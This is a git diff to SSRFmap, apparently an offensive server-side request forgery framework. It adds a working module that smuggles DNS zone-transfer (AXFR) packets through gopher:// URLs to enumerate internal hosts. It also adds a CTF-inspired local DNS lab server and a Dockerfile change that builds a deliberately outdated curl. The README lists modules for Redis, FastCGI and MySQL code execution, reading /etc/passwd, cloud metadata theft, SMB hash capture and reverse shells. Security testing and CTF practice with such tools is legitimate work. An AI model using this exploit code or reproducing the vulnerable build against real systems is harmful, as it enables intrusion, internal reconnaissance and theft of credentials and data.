diff --git a/Dockerfile b/Dockerfile index e8e4908..126e642 100644 --- a/Dockerfile +++ b/Dockerfile @@ -3,7 +3,13 @@ FROM python:3.12.4-alpine WORKDIR /usr/src/app COPY . /usr/src/app -RUN apk update && apk add curl +RUN apk update + +# Install curl with outdated libcurl +RUN apk add --update build-base cmake c-ares-dev +RUN cp examples/curl-7.71.0.tar.gz /tmp +RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/ +RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install # Install requirements RUN pip install -r requirements.txt diff --git a/README.md b/README.md index 1930885..a18c658 100644 --- a/README.md +++ b/README.md @@ -19,28 +19,29 @@ SSRF are often used to leverage actions on other services, this framework aims t The following modules are already implemented and can be used with the `-m` argument. -| Name | Description | -| :------------- | :------------- | -| `fastcgi` | FastCGI RCE | -| `redis` | Redis RCE | -| `github` | Github Enterprise RCE < 2.8.7 | -| `zabbix` | Zabbix RCE | -| `mysql` | MySQL Command execution | -| `postgres` | Postgres Command execution | -| `docker` | Docker Infoleaks via API | -| `smtp` | SMTP send mail | -| `portscan` | Scan top 8000 ports for the host | -| `networkscan` | HTTP Ping sweep over the network | -| `readfiles` | Read files such as `/etc/passwd` | +| Name | Description | +| :------------- | :------------------------------------------------------- | +| `axfr` | DNS zone transfers (AXFR) | +| `fastcgi` | FastCGI RCE | +| `redis` | Redis RCE | +| `github` | Github Enterprise RCE < 2.8.7 | +| `zabbix` | Zabbix RCE | +| `mysql` | MySQL Command execution | +| `postgres` | Postgres Command execution | +| `docker` | Docker Infoleaks via API | +| `smtp` | SMTP send mail | +| `portscan` | Scan top 8000 ports for the host | +| `networkscan` | HTTP Ping sweep over the network | +| `readfiles` | Read files such as `/etc/passwd` | | `alibaba` | Read files from the provider (e.g: meta-data, user-data) | | `aws` | Read files from the provider (e.g: meta-data, user-data) | | `gce` | Read files from the provider (e.g: meta-data, user-data) | | `digitalocean` | Read files from the provider (e.g: meta-data, user-data) | -| `socksproxy` | SOCKS4 Proxy | -| `smbhash` | Force an SMB authentication via a UNC Path | -| `tomcat` | Bruteforce attack against Tomcat Manager | -| `custom` | Send custom data to a listening service, e.g: netcat | -| `memcache` | Store data inside the memcache instance | +| `socksproxy` | SOCKS4 Proxy | +| `smbhash` | Force an SMB authentication via a UNC Path | +| `tomcat` | Bruteforce attack against Tomcat Manager | +| `custom` | Send custom data to a listening service, e.g: netcat | +| `memcache` | Store data inside the memcache instance | ## Install and Manual @@ -63,8 +64,8 @@ The following modules are already implemented and can be used with the `-m` argu -m MODULES SSRF Modules to enable -l HANDLER Start an handler for a reverse shell -v [VERBOSE] Enable verbosity - --lhost LHOST LHOST reverse shell - --lport LPORT LPORT reverse shell + --lhost LHOST LHOST reverse shell or IP to target in the network + --lport LPORT LPORT reverse shell or port to target in the network --uagent USERAGENT User Agent to use --ssl [SSL] Use HTTPS without verification --proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080) @@ -150,7 +151,14 @@ A quick way to test the framework can be done with `data/example.py` SSRF servic * Docker ```ps1 docker build --no-cache -t ssrfmap . + + # run example ssrf http service docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py + + # run example ssrf dns service + docker exec -u root:root -it example python examples/ssrf_dns.py + + # run ssrfmap tool docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles ``` @@ -163,6 +171,8 @@ docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m rea docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue +docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr +docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab ``` diff --git a/examples/curl-7.71.0.tar.gz b/examples/curl-7.71.0.tar.gz new file mode 100644 index 0000000..4612432 Binary files /dev/null and b/examples/curl-7.71.0.tar.gz differ diff --git a/examples/ssrf_dns.py b/examples/ssrf_dns.py new file mode 100644 index 0000000..05313ef --- /dev/null +++ b/examples/ssrf_dns.py @@ -0,0 +1,50 @@ +# NOTE example script heavily inspired from FCSC CTF 2024 +# use this example to test the AXFR module +# dig @127.0.0.1 -p 53 example.lab AXFR + +from dnslib.server import DNSServer, BaseResolver +from dnslib import RR, QTYPE, RCODE, A +from dns import resolver +import threading + +DOMAINS = { + "frontend.example.lab.": "10.10.10.10", + "backend.example.lab.": "10.10.10.11", + "secret_flag.example.lab.": "10.10.10.12", + "test.example.lab.": "10.10.10.12" +} + +class LocalDNS(BaseResolver): + def resolve(self, request, handler): + reply = request.reply() + q = request.q + + print('', flush=True) + + if q.qtype == QTYPE.A and str(q.qname) in DOMAINS: + reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)]))) + elif q.qtype == QTYPE.A: + default_resolver = resolver.Resolver() + try: + answers = default_resolver.resolve(str(q.qname), "A") + for answer in answers: + reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address))) + except: + reply.header.rcode = RCODE.NXDOMAIN + elif q.qtype == QTYPE.AXFR and str(q.qname) == "example.lab.": + for domain, ip in DOMAINS.items(): + reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip))) + else: + reply.header.rcode = RCODE.NXDOMAIN + + return reply + +def run_server(protocol): + print(f"Server is running - {protocol}") + resolver = LocalDNS() + server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP")) + server.start() + +if __name__ == "__main__": + threading.Thread(target=run_server, args=("TCP",)).start() + threading.Thread(target=run_server, args=("UDP",)).start() diff --git a/modules/axfr.py b/modules/axfr.py new file mode 100644 index 0000000..d1ec314 --- /dev/null +++ b/modules/axfr.py @@ -0,0 +1,91 @@ +from core.utils import wrapper_gopher, gen_ip_list +from urllib.parse import quote +import logging +import binascii + +name = "axfr" +description = "AXFR DNS" +author = "Swissky" +documentation = [ + "https://vozec.fr/writeups/pong-fcsc2024-en/", + "https://mizu.re/post/pong", + "https://gist.github.com/Siss3l/32591a6d6f33f78bb300bfef241de262" +] + +class exploit(): + SERVER_HOST = "127.0.0.1" + SERVER_PORT = "53" + SERVER_DOMAIN = "example.lab" + + def __init__(self, requester, args): + logging.info(f"Module '{name}' launched !") + + # Handle args for custom DNS target + if args.lhost is not None: + self.SERVER_HOST = args.lhost + if args.lport is not None: + self.SERVER_PORT = args.lport + if args.ldomain is not None: + self.SERVER_DOMAIN = args.ldomain + + # Using a generator to create the host list + gen_host = gen_ip_list(self.SERVER_HOST, args.level) + for ip in gen_host: + domain,tld = self.SERVER_DOMAIN.split('.') + + # DNS AXFR - TCP packet format + dns_request = b"\x01\x03\x03\x07" # BITMAP + dns_request += b"\x00\x01" # QCOUNT + dns_request += b"\x00\x00" # ANCOUNT + dns_request += b"\x00\x00" # NSCOUNT + dns_request += b"\x00\x00" # ARCOUNT + + dns_request += len(domain).to_bytes() # LEN DOMAIN + dns_request += domain.encode() # DOMAIN + dns_request += len(tld).to_bytes() # LEN TLD + dns_request += tld.encode() # TLD + dns_request += b"\x00" # DNAME EOF + + dns_request += b"\x00\xFC" # QTYPE AXFR (252) + dns_request += b"\x00\x01" # QCLASS IN (1) + dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request + + payload = wrapper_gopher(quote(dns_request), ip , self.SERVER_PORT) + + # Send the payload + r = requester.do_request(args.param, payload) + self.parse_output(r.text) + + + def parse_output(self, data): + # removing header part + lheader = len(b"\x00" + b"\x6a" + b"\x01\x03" + b"\xef\xbf\xbd" + b"\xef\xbf\xbd" + b"\x00") + lother = len(b"\x01\x00" + b"\x03" + b"\x00\x00\x00\x00") + hex_output = binascii.hexlify(data.encode()) + hex_output = hex_output[(lheader+lother)*2:] + data = binascii.unhexlify(hex_output) + + # extracting size + domain_size = data[0] + domain = data[1:domain_size+1] + logging.debug(f"DOMAIN: {domain_size}, {domain.decode()}") + + tld_size = data[domain_size+1] + tld = data[domain_size+2:domain_size+2+tld_size] + logging.debug(f"TLD: {tld_size}, {tld.decode()}") + + # subdomains + subdata = data[domain_size+2+tld_size:] + subdata_arr = subdata.decode().split("�") + for sub in subdata_arr: + printable = self.bytes_to_printable_string(sub.encode()) + if printable != '': + logging.info(f"\033[32mSubdomain found\033[0m : {printable}") + + + def bytes_to_printable_string(self, byte_string): + # Filter out non-printable characters and decode the byte string + printable_chars = (chr(byte) for byte in byte_string if chr(byte).isprintable()) + # Concatenate the printable characters into a single string + printable_string = ''.join(printable_chars) + return printable_string \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index f753748..fd6b008 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,5 @@ Flask==3.0.3 requests==2.31.0 +dnslib==0.9.24 +dnspython==2.6.1 +tldextract==5.1.2 \ No newline at end of file diff --git a/ssrfmap.py b/ssrfmap.py index db746b8..3b7e0ed 100644 --- a/ssrfmap.py +++ b/ssrfmap.py @@ -28,8 +28,9 @@ def parse_args(): parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable") parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1') parser.add_argument('-v', action ='store_true', dest='verbose', help="Enable verbosity") - parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell") - parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell") + parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell or IP to target in the network") + parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell or port to target in the network") + parser.add_argument('--ldomain', action ='store', dest='ldomain', help="Domain to target for AXFR query or domain related modules") parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True) parser.add_argument('--uagent',action ='store', dest='useragent', help="User Agent to use") parser.add_argument('--ssl', action ='store', dest='ssl', help="Use HTTPS without verification", nargs='?', const=True)